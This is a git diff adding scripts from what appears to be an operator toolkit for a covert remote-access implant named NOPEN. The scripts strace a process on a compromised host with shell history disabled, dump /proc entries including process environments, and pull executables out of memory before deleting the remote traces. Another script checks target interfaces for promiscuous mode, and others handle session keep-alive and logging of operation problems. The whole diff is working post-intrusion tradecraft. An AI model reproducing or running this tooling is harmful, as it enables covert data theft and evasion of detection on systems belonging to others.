"/tmp/.s"; + + if ($processall) { + return mywarn("Will not trace with -a"); + } + + # Make sure $stoutput not there already + while (1) { + my ($output) = doit("-ls $stoutput"); + last if (length $output < 3); + $stoutput .= $$; + } + my $dotstoutput = dotdotpathforfile($stoutput); + + #running strace on pid, then finding pid to kill + doit("sh -c \"unset HISTFILE HISTFILESIZE HISTSIZE ; strace -p $pinfopid -r -i -ttt -f -ff -o $stoutput 1>&- 2>&- &\""); + + #get strace pid after executing and get ready to kill... + my ($skpid,$nopenlines,@output) = doit("pgrep -u root strace"); + doit("ps -ef | grep -v grep | grep strace"); + chomp($skpid); + $skpid =~ s,[\n\r], ,g; + if ($skpid =~ /\s/) { + doit("=psg strace"); + offerabort("This is odd, there is more than one PID output by the above pgrep.\n\n". + "Continue at your own risk."); + } + my $starttime = time(); + if (@output == 1) { + my $more = "\n\nSince $ttime is more than $tickletime, we will tickle the window every $tickletime seconds.\n\n". + "To stop $prog before $endtimestr, run this locally:\n\n". + " touch $stopfile" + if ($ttime > $tickletime); + mywarn("Now waiting $ttime seconds until we kill strace. Don't freak out!$more"); + my $sleepleft = $ttime; + while ($sleepleft-- >= 0) { + if (-f $stopfile or -f $otherstopfile) { + progprint("STOPPING EARLY"); + unlink($stopfile) if (-f $stopfile); + unlink($otherstopfile) if (-f $otherstopfile); + last; + } + sleep 1; + unless ( (time() - $starttime) % 120 ) { + $more = "\n\nWe will tickle the window every $tickletime seconds with a \"$ticklecmd\".\n\n". + "To stop $prog before $endtimestr, run this locally:\n\n". + " touch $stopfile"; + mywarn("Still $sleepleft seconds until we kill strace. Don't freak out!$more"); + } + tickleifneedbe(0,$ticklecmd,$tickletime); + } + preservefile("$opdown/strace.$pinfopid.$ttime.$nopen_rhostname"); + doit("kill $skpid","-get $stoutput", + "-lsh mv -v $opdown/$nopen_rhostname$stoutput $opdown/strace.$pinfopid.$ttime.$nopen_rhostname ; ls -al $opdown/strace.$pinfopid.$ttime.$nopen_rhostname", + "-rm $dotstoutput"); + } else { + mydie("Something went wrong: killpid = \"$skpid\" and is not valid. Find strace and kill it."); + } + $strace_pid_done = 1; +} + +sub pid_info { + + # return mywarn("Already ran pinfo on $pinfopid") + # if -e "$opdown/$prog.$pinfopid.$nopen_rhostname"; + preservefile("$opdown/$prog.$pinfopid.$nopen_rhostname"); + + #after file test to make sure it doesn't exist, open our log file + open PLOG, ">>", "$opdown/$prog.$pinfopid.$nopen_rhostname"; + + my ($output,$nopenlines,@output) = doit("lsof -n -P -p $pinfopid"); + print PLOG "::::::::::::::\nlsof -n -P -p $pinfopid\n::::::::::::::\n$output"; + + if ($processall) { + ($processoutput,$nopenlines,@processoutput) = nopenlss("-UFRQ","/proc/"); + } elsif ($rpid) { + ($processoutput,$nopenlines,@processoutput) = nopenlss("-UFRQ","/proc/$pinfopid"); + ($output,$nopenlines,@output) = doit("-ls -R /proc/$pinfopid"); + print PLOG "::::::::::::::\n-ls -R /proc/$pinfopid\n:::::::::::::::\n$output" + } else { + ($processoutput,$nopenlines,@processoutput) = nopenlss("-UFQ","/proc/$pinfopid"); + ($output,$nopenlines,@output) = doit("-ls -R /proc/$pinfopid"); + print PLOG "::::::::::::::\n-ls -R /proc/$pinfopid\n:::::::::::::::\n$output"; + } + + foreach $line ( @processoutput ) { + if ($line =~ /^-/) { + ($fld1,$fld2) = split /\s+\//, $line; + next if $fld2 =~ /(attr|kmsg|mem|kcore|pagemap)/; + if ($line =~ /environ/) { + #($output,$nopenlines,@output) = doit("(cat /$fld2;echo) | tr '\\000' '\\n';echo"); + #($output,$nopenlines,@output) = doit("(cat /$fld2;echo) | tr -d '\\000' ;echo"); + ($output,$nopenlines,@output) = doit("(cat /$fld2;echo) | tr '\\000' '\\n' | uniq ;echo"); + print PLOG "\n::::::::::::::\n/$fld2\n::::::::::::::\n$output"; + } else { + ($output,$nopenlines,@output) = doit("cat /$fld2;echo"); + print PLOG "\n::::::::::::::\n/$fld2\n::::::::::::::\n$output"; + } + } + } + close PLOG; + $pid_info_done = 1; +} + +sub myinit { + # If $willautoport is already defined, we must have been called + # by another script via require. We do not re-do autoport stuff. + $calledviarequire = 0 unless $calledviarequire; + $stoiccmd = "called as: -gs pinfo @ARGV"; + if ($willautoport and $socket) { + $stoiccmd = "in $prog, called as: pinfo(@ARGV)"; + dbg("via require autopinfo ARGV=( +".join("\n",@ARGV)." +) prog=$prog"); + # progprint("$prog called -gs pinfo @ARGV"); + $calledviarequire = 1; + } else { + $prog = "-gs pinfo"; + $willautoport=1; + my $autoutils = "../etc/autoutils" ; + unless (-e $autoutils) { + $autoutils = "/current/etc/autoutils" ; + } + require $autoutils; + $vertext = "$prog version $VER\n" ; + } + clearallopts(); + $vertext = "$prog version $VER\n" ; + mydie("No user servicable parts inside.\n". + "(I.e., noclient calls $prog, not you.)\n". + "$vertext") unless ($nopen_rhostname and $nopen_mylog and + -e $nopen_mylog); + + my $origoptions = "@ARGV"; + mydie("bad option(s)") if (! Getopts( "rhavsetm:p:C:D:" ) ) ; + + ########################################################################### + # PROCESS ARGUMENTS + ########################################################################### + + + usage() if ($opt_h or $opt_v); + + mydie("$prog can only be run on linux at this time") if !$linuxtarget; + + $pskip = $opt_s; + $getexe = $opt_e; + if ($processall = $opt_a) { + $pinfopid = "ALL"; + } else { + if (!$opt_p) { + mydie("-p must be defined"); + } else { + $pinfopid = $opt_p; + } + } + $trace = $opt_t; + if ($opt_C) { + $ticklecmd = $opt_C; + } else { + $ticklecmd = "w"; + } + if ($opt_D) { + $tickletime = strtoseconds($opt_D); + } else { + $tickletime = 30; + } + if ($opt_m) { + $ttime = strtoseconds($opt_m); + } else { + $ttime = 60; + } + if ($opt_r) { + $rpid = 1; + } else { + $rpid = 0; + } + mydie("-m $opt_M / -D $opt_D : These must be valid positive times") + unless($ttime > 0 and $tickletime > 0); + + + # Connect to autoport, we need status and more interactively. + # If $socket is already defined, we must have been called + # by another script via require. We do not re-do autoport stuff. + $socket = pilotstart(quiet) unless $socket; + + + $stopfile = "$optmp/stop_$prog.$$"; + $otherstopfile = $stopfile; + $otherstopfile =~ s,\d+$,all,; + $endtimestr = gmtime(time() + $ttime) . " GMT"; + if ($ttime > 180) { + my $more = " ($opt_D)" if $opt_D; + my $more2 = secstostr($ttime); + offerabort( "${COLOR_FAILURE}CONFIRMING$COLOR_NORMAL this since you are running strace for over three minutes\n". + "(stop time will be$COLOR_FAILURE $endtimestr$COLOR_NORMAL).\n\n". + "We are about to run strace on PID $pinfopid for $ttime seconds ($more2),\n". + "longer than the default.\n\n". + "You should not lose the window, since we will be running \"$ticklecmd\" every\n". + "$tickletime seconds$more. You should probably only tie this window up that long\n". + "if you have at least one other active window on\n". + "$nopen_rhostname.\n\n". + "You can stop the running strace sooner by (locally) running either of:\n$COLOR_FAILURE\n". + " touch $stopfile\n". + " touch $otherstopfile","A"); + unlink($stopfile,$otherstopfile); + } +} + +sub setusagetexts { + # Separate long usage strings as separate function + $usagetext=" +Usage: $prog -p PID [-e] [-t [-m TIME]] [-a] [-s] + +NOT CALLED DIRECTLY + +$prog is run from within a NOPEN session via when \"$prog\" is used. +"; + + $gsusagetext=" +Usage: $prog -p PID [-e] [-t [-m TIME]] [-a] [-s] [-r] + +$prog gathers process information based upon the given PID. It will cat +out information from /proc/PID to a local file. If tasked, the executable +will be taken from memory and pulled back. Currently only works on Linux. + + + -a Will iterate over /proc and pull info for all processes and kernel settings. + NOTE: This will take some time to run and can freeze a NOPEN window.$COLOR_FAILURE Use Caution!$COLOR_NORMAL + + -C CMD Command(s) to run every -D seconds if -m TIME is more than 30s. [w] + -D TIME Delay between CMDs during ptrace run [30s] + -e Will copy exe from memory to /tmp, pull back and delete + -m TIME Length of time we run ptrace [60s] + -p PID PID of process you wish to gather info on + -s Skips gathering process info. Use if you only want to do strace or get the exe. + -t Invokes strace to watch a process for the -m TIME specified + -r Recursive sort of /proc/pid. Default is to do only the top level. + +NOTE: TIME arguments can be in the usual format: [#d][#h][#m]#s + +Usage: $prog -p PID [-e] [-t [-m TIME]] [-a] [-s] [-r] + +"; +} #setusagetexts diff --git a/Linux/etc/autopopup b/Linux/etc/autopopup new file mode 100755 index 0000000..a1678f2 --- /dev/null +++ b/Linux/etc/autopopup @@ -0,0 +1,272 @@ +#!/usr/bin/env perl +# +# INPUT: $ARGV[]: [ ### [command] ] +# Puts this noclient window into loop: Execute command every ### minutes. +# ### defaults to 3 +# command defaults to -w +# +$VER="1.5.0.3" ; +select STDERR ; +$ext = $$ ; # limits likelihood of concurrent autoholdwindow's colliding + # BUT: still possible. + # not too likely to happen. +myinit() ; +my $nohist = " -nohist" unless $oneperline ; +$SIG{INT} = \&catch_zap; +$SIG{TERM} = \&catch_zap; +my $secs = 0 ; +my $die = 0 ; +my $manmore = ""; +if ($popredir) { + unlink("$optmp/popup.tmp"); + mydie("Cannot unlink $optmp/popup.tmp") + if (-e "$optmp/popup.tmp"); + my $title = gmtime(); + $title = "-popup $nopen_hostonly $title"; + $title .= ": $command" if length $command < 40; +# $title =~ s/ /_/g; + if ($nopen_clientver and + $nopen_clientver !~ /^3.1/ and + $nopen_clientver ge "3") { + $title =~ s,(\s),\\\\\1,g; + } else { + $title =~ s,(\s),\\\\\\\\\1,g; + } + if ($command =~ /^(-lsh ){0,1}man /) { + $manmore = "-nohist -lsh mv $optmp/popup.tmp $optmp/popup.tmp.man ; sed \"s/.//g\" $optmp/popup.tmp.man > $optmp/popup.tmp \n"; + } + $popitup = "-nohist -lsh cd $optmp ; 1x -title $title -geometry 112x60-0+0 -e \"view popup.tmp\"\n"; +dbg("title=$title= popitup=$popitup="); + $die=1; +} else { + $popitup = ""; + if (-e "$optmp/holding.$nopen_rhostname.$nopen_mypid") { + mywarn("\n\nWill execute \"$command\" every $delaystr, in perpetuity. ${howtostop}un one of the following locally to stop it:\n\n + $opbin/unhold \t# stops one active $prog (at random) + $opbin/unhold $$ \t# stops this particular holdwindow only + $opbin/unhold all \t# stops ALL active holdwindows (on all servers) + +"); + } else { + $secs = ($delaymin * 60) - 1; + } +} +while ($secs < $delaymin * 60 and !$die) { + `touch $optmp/holding.$nopen_rhostname.$nopen_mypid 2>/dev/null`; + sleep 1; + $secs += 1; + print "\rTime left:\t".($delaymin*60 -$secs)."s " + unless $secs == $delaymin*60; + my ($unhold,$whystop) = (0,""); + foreach (@unholds) { + if (-e $_) { + $unhold++; + $whystop .= " or $_"; + } + } + $whystop =~ s/^ or //; + $whystop = "" unless $whystop; + if ($unhold) { + $die++; + if (-e "$optmp/unhold.all") { + sleep 2; + } + mywarn("\n\nStopped via $whystop"); + unlink(@unholds); #just in case + last ; + } +} +unlink("$optmp/holding.$nopen_rhostname.$nopen_mypid") + if $die; +unless ($die and !$popredir) { + print OUT "$command$nohist$popredir\n$manmore$popitup"; + print OUT "-gs holdwindow @origargv -nohist\n" unless $popredir; +} +close(OUT); +# Do this very last - might have more than one -holdwindow running. +# Hope is the .$ext unique to this one will preserve +#rename("$opetc/gs.holdwindownext.$ext","$opetc/gs.holdwindownext"); + +# why were we cp to tmp? +system("cp $opetc/gs.holdwindownext.$ext $optmp"); + copy("$opetc/gs.holdwindownext.$ext","$opetc/nopen_auto.$nopen_mypid"); +#rename("$opetc/gs.holdwindownext.$ext","$opetc/nopen_auto.$nopen_mypid"); + +1; + +sub mymydie { + close(OUT); + #rename("$opetc/gs.holdwindownext.$ext","$opetc/nopen_auto.$nopen_mypid"); +copy("$opetc/gs.holdwindownext.$ext","$opetc/nopen_auto.$nopen_mypid"); + mydie(@_); +}#mymydie + +sub myinit { + $willautoport=1; + my $autoutils = "../etc/autoutils" ; + unless (-e $autoutils) { + $autoutils = "/current/etc/autoutils" ; + } + require $autoutils; + use File::Basename ; +# require "getopts.pl"; + $COLOR_SUCCESS="\033[1;32m"; + $COLOR_FAILURE="\033[1;31m"; + $COLOR_WARNING="\033[1;33m"; + $COLOR_NORMAL="\033[0;39m"; + $COLOR_NOTE="\033[0;34m"; + $COLOR_WHITE="\033[4;97m" ; + $opdir = "/current" ; + $opetc = "$opdir/etc" ; + $opbin = "$opdir/bin" ; + $opdown = "$opdir/down" ; + $optmp = "$opdir/tmp" ; + $prog = basename $0 ; + if ($prog =~ /popup/) { + $shortprog = "popup"; + $popredir = " >>T:$optmp/popup.tmp"; + } else { + $shortprog = "holdwindow"; + $popredir = ""; + } + $prog = "-gs $shortprog" ; + $vertext = "$prog version $VER\n" ; + $defcommand = "-w" ; + $defdelay = "3m" ; + $delaymin = 3 ; + @unholds = ("$optmp/unhold.bin", + "$optmp/unhold", + "$optmp/unhold.", + "$optmp/unhold.all", + "$optmp/unhold.$nopen_rhostname.quiet", + "$optmp/unhold.$nopen_rhostname", + "$optmp/unhold.$$", + "$optmp/unhold.$nopen_mypid", + ); + $usagetext=usagetext(); + unlink("$optmp/unhold.bin","$optmp/unhold","$optmp/unhold.", + "$optmp/unhold.$nopen_rhostname","$optmp/unhold.$nopen_mypid", + "$optmp/unhold.$nopen_rhostname.quiet","$optmp/unhold.$$", + "$opetc/gs.holdwindownext.$ext", + ) ; # just in case + # This will be renamed to nopen_auto.$nopen_mypid and will either + # 1) call the same -gs holdwindow ## ?? command once timer expires; or + # 2) do nothing if user aborts with SIG INT or TERM or hitting return. + open(OUT,"> $opetc/gs.holdwindownext.$ext") || + mydie("cannot open $opetc/gs.holdwindownext.$ext"); + print OUT "#NOGS\n"; +# mydie("bad option(s)") if (! Getopts( "hv" ) ) ; +# Getopts was messing up builtin commands (e.g., "-lt" gave unknown opts l and t) + $opt_h = ($ARGV[0] eq "-h") ; + $opt_v = ($ARGV[0] eq "-v") ; + usage() if ($opt_h or $opt_v) ; + chomp($test = `perl -v 2>&1 | grep -i "this is perl"`) ; + $test =~ s/this is perl.\s*(v{0,1}[\d.]+).*/\1/i ; + unless ($test ge "v5.8.1" ) { +# `echo "$ENV{HOSTNAME} requires perl v5.8.1 or better (not $test)" >> $opdown/opnotes.txt.additional` ; + mywarn("requires perl v5.8.1 or better (you have $test) for hitting return to work") ; + $howtostop = "\nR" ; + } else { + $howtostop = "Hit return to stop it, or if\nthat fails, r" ; + } + @origargv = @ARGV ; + my $unit = ""; + $unit = "m" unless $ARGV[0] =~ /\d+.*[hms]$/; + $delaysecs = strtoseconds($ARGV[0].$unit); + if ($delaysecs > 0) { + shift @ARGV; + } else { + $delaysecs = strtoseconds($defdelay); + } + $delaystr = secstostr($delaysecs); + $delaymin = $delaysecs / 60 ; + my @args = split(/ :: /,"@ARGV"); + my $specaial = 0; + if (@args > 1) { + $oneperline++; + } else { + @args = @ARGV ; + } + while (@args) { + my $arg = shift(@args) ; + if ($oneperline) { + $command .= "$arg -nohist\n" ; + } else { + $command .= " $arg" ; + } + mydie("Cannot have -holdwindow or -popup as an argument") + if ($arg =~ /-(gs ){0,1}holdwindow/ or + $arg =~ /-(gs ){0,1}popup/); + } + $command =~ s/^ // ; + $command = $defcommand unless $command ; + $| = 1; + $nopen_mypid = $ENV{NOPEN_MYPID} ; + $nopen_mylog = $ENV{NOPEN_MYLOG} ; + $nopen_rhostname = $ENV{NOPEN_RHOSTNAME} ; + mydie("Call $prog from within noclient, not command line.\n". + "E.g., \"-lsh autoholdwindow -b\"\n". + "$vertext") unless $nopen_rhostname; + if (open(OUT2,"> $opbin/unhold")) { + print OUT2 "#!/bin/sh +EXT=bin +[ \"\$1\" ] && EXT=\$1 +touch $optmp/unhold.\$EXT\n"; + close(OUT2); + chmod(0777,"$opbin/unhold"); + } +}#myinit + +sub catch_zap { + my $signame = shift; + mywarn("$prog"."[$$]: received SIG $signame. Aborting") ; + $die++ ; +} # catch_zap + +sub usagetext { + return " +Usage: $prog [-h] (prints this usage statement) + -holdwindow [ [#h]#[m][#s] command] + -popup command + +The scripts autopopup and autoholdwindow are identical. \"-popup\" and +\"-holdwindow\" call it by their associated filename, which determines +its behavior. In both cases \"command\" is executed (see below for the +format, in particular how to execute multiple commands). + +HOLDWINDOW MODE + +If called via -holdwindow, execution is done once every [#h]#[m][#s], +and stops when return is pressed in that window or $opbin/unhold +[pid|all] is run at any local prompt. The time period defaults to $defdelay, +and the unit of time defaults to minutes if none is given. + + the delay \"[#h]#[m][#s]\" defaults to ${defdelay} + command defaults to $defcommand + +NOTE: The delay is from the end of one execution to the beginning of +the other. The time the command takes to execute will mean the run +time of the command is a bit more than the delay from the last one. + +POPUP MODE + +If called via -popup, execution is done once, but its output is saved +to a temporary file which is then popped up at the top right corner of +your screen opened with \"view\" (vi in read only mode). The delay, if +any, is ignored in popup mode. (-pop is also an alias for -gs popup.) + +The alias \"-holdwindow\" is the same as \"-gs holdwindow\", and \"-popup\" +is the same as \"-gs popup\". + +COMMAND SYNTAX + +The \"command\" given can contain one or more builtins if they are \" :: \" +delimited from other commands. E.g., \"-holdwindow -ls /tmp :: -w :: w\". +The builtin may be a call to another NOGS script. + +Usage: $prog [-h] (prints this usage statement) + -holdwindow [ [#h]#[m][#s] command] + -popup command + +"; +}#usagetext diff --git a/Linux/etc/autoproblem b/Linux/etc/autoproblem new file mode 100755 index 0000000..7f41fb1 --- /dev/null +++ b/Linux/etc/autoproblem @@ -0,0 +1,319 @@ +#!/usr/bin/env perl +## NOPEN autoport script to put op -problems in proper place +$VER="1.2.0.9" ; +use File::Basename ; +myinit(); + +if ($newop) { + # This now returns if no error encountered +dbg("in $prog calling newop"); + newop(); +} else { + + my $logbase = basename($logfile); + my ($oldfile,$oldcontent,$oldtopcontent,$donetop) = ($logfile.".".time()); + rename($logfile,$oldfile); + if (open(PROBLEMIN,"$oldfile")) { + while () { + next if ($_ eq "\n"); + if (!$donetop and + ($oldtopcontent or /^BEGIN IMPORTANT CONTENT REVERSE TIME ORDER/) and + (! /^END IMPORTANT CONTENT REVERSE TIME ORDER/) + ) { + s/^BEGIN IMPORTANT CONTENT REVERSE TIME ORDER/./; + $oldtopcontent .= $_; + } else { + $donetop++ if s/^END IMPORTANT CONTENT REVERSE TIME ORDER/./; + $oldcontent .= $_; + } + } + close(PROBLEMIN); + unlink($oldfile); + } + + $oldcontent =~ s,^\.+,,; + $oldtopcontent =~ s,^\.+,,; + my $newline = gmtime()." $nopen_rhostname: $problemcontent\n"; + if (open(PROBLEMOUT,"> $logfile")) { + #HOSTNAME not that useful, put back in if we ever change it from localhost.localdomain + # print PROBLEMOUT gmtime()." $ENV{HOSTNAME}/$nopen_rhostname: @ARGV\n"; + if ($logattop or $oldtopcontent) { + print PROBLEMOUT "BEGIN IMPORTANT CONTENT REVERSE TIME ORDER\n"; + print PROBLEMOUT $newline + if $logattop; + print PROBLEMOUT $oldtopcontent; + print PROBLEMOUT "END IMPORTANT CONTENT REVERSE TIME ORDER\n\n"; + } + print PROBLEMOUT $oldcontent; + print PROBLEMOUT $newline + unless $logattop; + close(PROBLEMOUT); + my $logcontents = readfile($logfile); + $logcontents =~ s,$newline,$COLOR_FAILURE$newline$COLOR_NORMAL,; + progprint(".\n\nNEW PROBLEM LOGGED.\n\n". + "$logbase now contains (${COLOR_FAILURE}new line shown red$COLOR_NOTE):$COLOR_NORMAL\n". + $logcontents); + } else { + mydie("FAILED TO LOG PROBLEM: $prog @ARGV"); + } +} + + +dbg("Done with $prog"); +# End with true value as we may require this script elsewhere. +1; + + +sub newop { + $gsusagetext = setusagetext(); + my @badargs = grep ! /^[,\d]+$/ , @ARGV; + my @moreids = grep /^[,\d]+$/ , @ARGV; + #usage() if ($opt_h or $opt_v or @badargs or (!$opt_N and !@ARGV)); + + if ($opt_N) { + my $oldval = $gbl_nsrat; + if (0) { + if (-d "$opdown/cmdout/" or -f "$opdown/pid") { + mydie("You cannot use -N when NOPEN has already been used:\n\n". + `ls -alrtd $opdown/{cmdout,pid} 2>/dev/null`); + }} + my $unchanged = "$COLOR_FAILURE (unchanged)$COLOR_NORMAL" + if ($gbl_nsrat eq $oldval); + + newhostvar("gbl_nsrat","OTHER"); + progprint($COLOR_NORMAL."\n\n\n". + "Previous value: gbl_nsrat=$oldval$unchanged\n\n". + "Fix your opnotes with these vi commands now--paste ALL at one time.\n". + "(ESCape out of insert mode first.)\n\n". + " mx\n". + " :%s,^NS.RAT=.*\\n,,\n". + " :%s,^PROJECT=,NS.RAT=OTHER\\rPROJECT=,\n". + " \`x\n". + ""); + } elsif ($opt_O) { + my $oldval = $gbl_opuser; + my $comment = "@badargs"; + my @newids = split(/[,\s]+/,$gbl_opuser); + if ($opt_r) { + @newids = () if $opt_r; + } + + @newids = uniqify_array(sort by_num(@newids,@moreids)); + @newids = grep /^\d+$/,@newids; + newhostvar("gbl_opuser",join(",",@newids)); + $comment .= "; new value is: $gbl_opuser"; + newhostvar("gbl_usertag{".timestamp(short)."}","@moreids $comment"); + my $unchanged = "$COLOR_FAILURE (unchanged)$COLOR_NORMAL" + if ($gbl_opuser eq $oldval); + progprint($COLOR_NORMAL."\n\n\n". + "Previous value: $oldval$unchanged\n\n". + "Fix your opnotes with these vi commands now (ESCape out of insert mode first):\n\n". + " mx\n". + " :%s\#OPUSER=.*\#OPUSER=$gbl_opuser\#g\n". + " \`x\n". + ""); + } elsif ($opt_P) { + my $newproject = uc shift(@badargs); + my $oldval = opproject(); + my $unchanged = ""; + if ($newproject eq $oldval) { + $unchanged = "$COLOR_FAILURE (unchanged)$COLOR_NORMAL" + } else { + opproject($newproject); + } + progprint($COLOR_NORMAL."\n\n\n". + "Previous value: $oldval$unchanged\n\n". + "Fix your opnotes with these vi commands now (ESCape out of insert mode first):\n\n". + " mx\n". + " :%s\#PROJECT=.*\#PROJECT=$gbl_opproject\#g\n". + " \`x\n". + ""); + } elsif ($opt_S) { + my $oldval = $gbl_opschedule; + mydie("$prog -S requires just one NEWSCHEDID") + if (@moreids > 1); + mydie("-S NEWSCHEDID must be 14 digits") + unless (length $moreids[0] == 14); + newhostvar("gbl_opschedule",$moreids[0]); + my $unchanged = "$COLOR_FAILURE (unchanged)$COLOR_NORMAL" + if ($gbl_opschedule eq $oldval); + progprint($COLOR_NORMAL."\n\n". + "Previous value: $oldval$unchanged\n\n". + "Fix your opnotes with these vi commands now (ESCape out of insert mode first):\n\n". + " mx\n". + " :%s\#OPSCHEDULE=.*\#OPSCHEDULE=$gbl_opschedule\#g\n". + " \`x\n". + ""); + + } else { + mydie("Invalid: Called newop() without -O or -S"); + } +} +#newop + + +sub myinit { + # If $willautoport is already defined, we must have been called + # by another script via require. We do not re-do autoport stuff. + $calledviarequire = 0; + $skiprest = 0; + if ($willautoport and $socket) { + progprint("$prog called -gs problem @ARGV"); + $calledviarequire = 1; + } else { + $willautoport=1; + my $autoutils = "../etc/autoutils" ; + unless (-e $autoutils) { + $autoutils = "/current/etc/autoutils" ; + } + require $autoutils; + $prog = "-gs problem"; + $vertext = "$prog version $VER\n" ; +# mydie("No user servicable parts inside.\n". +# "(I.e., noclient calls $prog, not you.)\n". +# "$vertext") unless ($nopen_rhostname and $nopen_mylog and +# -e $nopen_mylog); + } + mydie("bad option(s)") if (! Getopts( "hvT:tOrSNP" ) ) ; + $newop = ($opt_O or $opt_S or $opt_N or $opt_P); + + unless ($newop) { + + $logattop = $opt_t; + my %allowedtypes = ("EXP",1, + "DEV",1, + "EP",1, + "DSZ",1, + "SELF",1, + "STOICSURGEON",1, + "PC",1, + "NOPEN",1, + "PITCHIMPAIR",1, + ); + mydie("-T $opt_T cannot contain \"/\"") + if ($opt_T =~ m,/,); + $opt_T = uc $opt_T; + mydie("-T $opt_T is not a valid problem type") + unless (!$opt_T or $allowedtypes{$opt_T}); + $logtype = length $opt_T ? "${opt_T}-" : "" ; + + $logfile = $opt_f if $opt_f; + $logfile = "$opdown/${logtype}problems.log" unless $logfile; + my $aliases = `grep "alias .*gs problem" $opetc/norc | sort | sed "s/^/ /g"`; + mydie("-f $logfile must be a full path to a directory that exists") + unless ($logfile =~ m,^/, and -d dirname($logfile)); + my + $usagetext=" +Usage: $prog [-h] (prints this usage statement) + +NOT CALLED DIRECTLY + +$prog is run from within a NOPEN session via when \"$prog\" is used. + +"; + $gsusagetext="Usage: $prog [-T type] Problem to report all on one line +Usage: $prog [-T type] /current/tmp/localfile +Usage: $prog -O NEWID [,NEWID2,NEWID3] +Usage: $prog -S NEWSCHEDID +Usage: $prog -P NEWPROJECT + +PROBLEM MODE + +$prog makes note of problems submitted via NOPEN command line. If the first +command line argument after the options is a non-empty local file, its +contents are used as the problem message. If not, the problem being logged +must all be on one NOPEN command line. If you need more room, use several +calls to -problem. + +Problems are logged to $opdown/problems.log or when -T is used to +$opdown/\$type-problems.log (the \"type\" value you provide will be +uppercased for you). + +These problems are reported up the chain. Keep them SAFE, useful and +professional. Each such -problem will automatically contain sufficient +metadata that this op and operator can be found later, if needed. You need only +state the problem itself. Valid types are: ".join(" ",sort keys %allowedtypes)." + +Aliases to shorten the $prog command are defined in norc as follows, in +each case the problems are sent to the right audience. The -T SELF type results +in an email to YOU (all operators). These emails are sent later, during post. + +$aliases +OTHER MODES + +-N / No-NOPEN Mode: + +Shifts the op to strictly non-NOPEN mode. Can only be used if no NOPEN created +files are present (e.g., ./down/cmdout/, ./down/pids, etc.) + +-O / New Operator Mode: + +In this mode (aliased to -newop) you can add to the opuser variables to add +the new ID(s) given. The -r argument replaces the old list. + +-S / New Schedule ID Mode: + +In this mode (aliased to -newsched), you can change the opschedule variables. + +You will be provided with vi commands to fix the right line in your opnotes. + +Usage: $prog [-T type] Problem to report all on one line +Usage: $prog -O NEWID [,NEWID2,NEWID3] +Usage: $prog -S NEWSCHEDID + +"; + } + # ENDIF $newop + usage() if ($opt_h or $opt_v or !@ARGV); + + if (-s $ARGV[0]) { + $problemcontent = readfile($ARGV[0]); + shift(@ARGV); + } + $problemcontent = "@ARGV" unless $problemcontent; +}#myinit + +sub setusagetext { + return " +Usage: $prog -N +Usage: $prog -O NEWID [,NEWID2,NEWID3] +Usage: $prog -P NEWPROJECT +Usage: $prog -S NEWSCHEDID + + +-N / No-NOPEN Mode: + +Shifts the op to strictly non-NOPEN mode. Can only be used if no NOPEN created +files are present (e.g., ./down/cmdout/, ./down/pids, etc.) + +-O / New Operator Mode: + +In this mode (aliased to -newop) you can add to the opuser variables to add +the new ID(s) given. The -r argument replaces the old list. Every new operator +added with this option is logged in hostvars.global with a timestamped entry +like this, where the first \"initiated op\" entry is made by scrubhands at the +outset: + \$gbl_usertag{\"YYYYMMDD-HHMMSS\"} = \"11111 initiated op; new value is: 11111\" +E.g., this command will log as follows: -newop 88888 COMMENT HERE + \$gbl_usertag{\"YYYYMMDD-HHMMSS\"} = \"88888 COMMENT HERE; new value is: 11111,88888\" + +-P / New Project Mode: + +In this mode (aliased to -newproject), you can change the overall op project name. + +-S / New Schedule ID Mode: + +In this mode (aliased to -newsched and -newschedule), you can change the opschedule variables. + +For each of these modes, the proper variables will be set in +../down/hostvars.global and you will be provided with vi commands to add/fix +the right line in your opnotes. + +Usage: $prog -N + $prog -O NEWID[,NEWID2,NEWID3] [optional comments] + $prog -P NEWPROJECT + $prog -S NEWSCHEDID + +"; + +} diff --git a/Linux/etc/autopromiscdetect b/Linux/etc/autopromiscdetect new file mode 100755 index 0000000..e18170e --- /dev/null +++ b/Linux/etc/autopromiscdetect @@ -0,0 +1,126 @@ +#!/usr/bin/env python +# 2013-05-09 20:47:17 UTC +VERSION = '1.0.0.3' + +import os +import sys +import shlex +import traceback +import re + +import autoutils +from autoutils import COLOR +from autoutils import OptParser + +class autopromiscdetect: + + def __init__(self): + + self.version = VERSION + self.nopen = autoutils.autoutils() + self.parser = self.get_arg_parser() + self.doprint = self.nopen.doprint + self.doit = self.nopen.doit + + + def main(self, argv): + + prog = argv[0] + argv = argv[1:] + opts, args = self.nopen.parseArgs(self.parser, argv) + + # connect to autoport after parse args + if not self.nopen.connected: + self.nopen.connect() + + if opts.v: + self.print_version(prog) + return + + promisc_interfaces = [] + + if "Linux 2.4" in self.nopen.nopen_serverinfo: #TESTED + output, outputlines = self.nopen.doitwrite('ip link show') + for line in output.split('\n'): + if 'PROMISC' in line: + device = re.split(':',line)[1][1:] + promisc_interfaces.append(device) + + elif "Linux 2.6" in self.nopen.nopen_serverinfo: #TESTED + output, nopenoutput, outputlines = self.doit('ls -1 /sys/class/net/*/flags') + for line in outputlines: + output2, nopenoutput2, outputlines2 = self.doit('cat %s' % line) + try: + flag = int(output2, 16) + + if (flag & 0x100) != 0: + device = re.split('/',line)[4] + promisc_interfaces.append(device) + except ValueError: + pass + + elif re.search('SunOS 5.(8|9|10)',self.nopen.nopen_serverinfo): #TESTED + output, nopenoutput, outputlines = self.doit('kstat -s promisc') + num_interfaces = len(outputlines)/4 + for groupnum in range(0,num_interfaces): + iface_array = re.split(' *',outputlines[4*groupnum]) + device = iface_array[1]+iface_array[3] + is_it_promisc = re.split(' *',outputlines[4*groupnum+2])[1] + if 'off' not in is_it_promisc and is_it_promisc != '0': + promisc_interfaces.append(device) + + elif "FreeBSD" in self.nopen.nopen_serverinfo: #TESTED + output, nopenoutput, outputlines = self.doit('ifconfig') + for line in outputlines: + if 'PROMISC' in line: + device = re.split(':',line)[0] + promisc_interfaces.append(device) + + else: + self.doprint(COLOR['fail'],'BAIL: -gs promiscdetect is not supported on this:\n\n%s\n\n' % self.nopen.nopen_serverinfo) + return self.nopen.finish() + + if promisc_interfaces: + promisc_interfaces_string = '' + for interface in promisc_interfaces: + promisc_interfaces_string += 'WARNING: promiscuous-mode ENABLED for device %s!\n' % interface + self.nopen.textpopup('-geometry 88x18 -bg white -fg red',promisc_interfaces_string) + else: + self.doprint(COLOR['success'],'No devices in promiscuous-mode.') + + return self.nopen.finish() + + + def get_arg_parser(self): + + epilog = '\nThis will detect whether or not the NIC is in promiscuous mode.\n' + epilog += '\n-gs promiscdetect 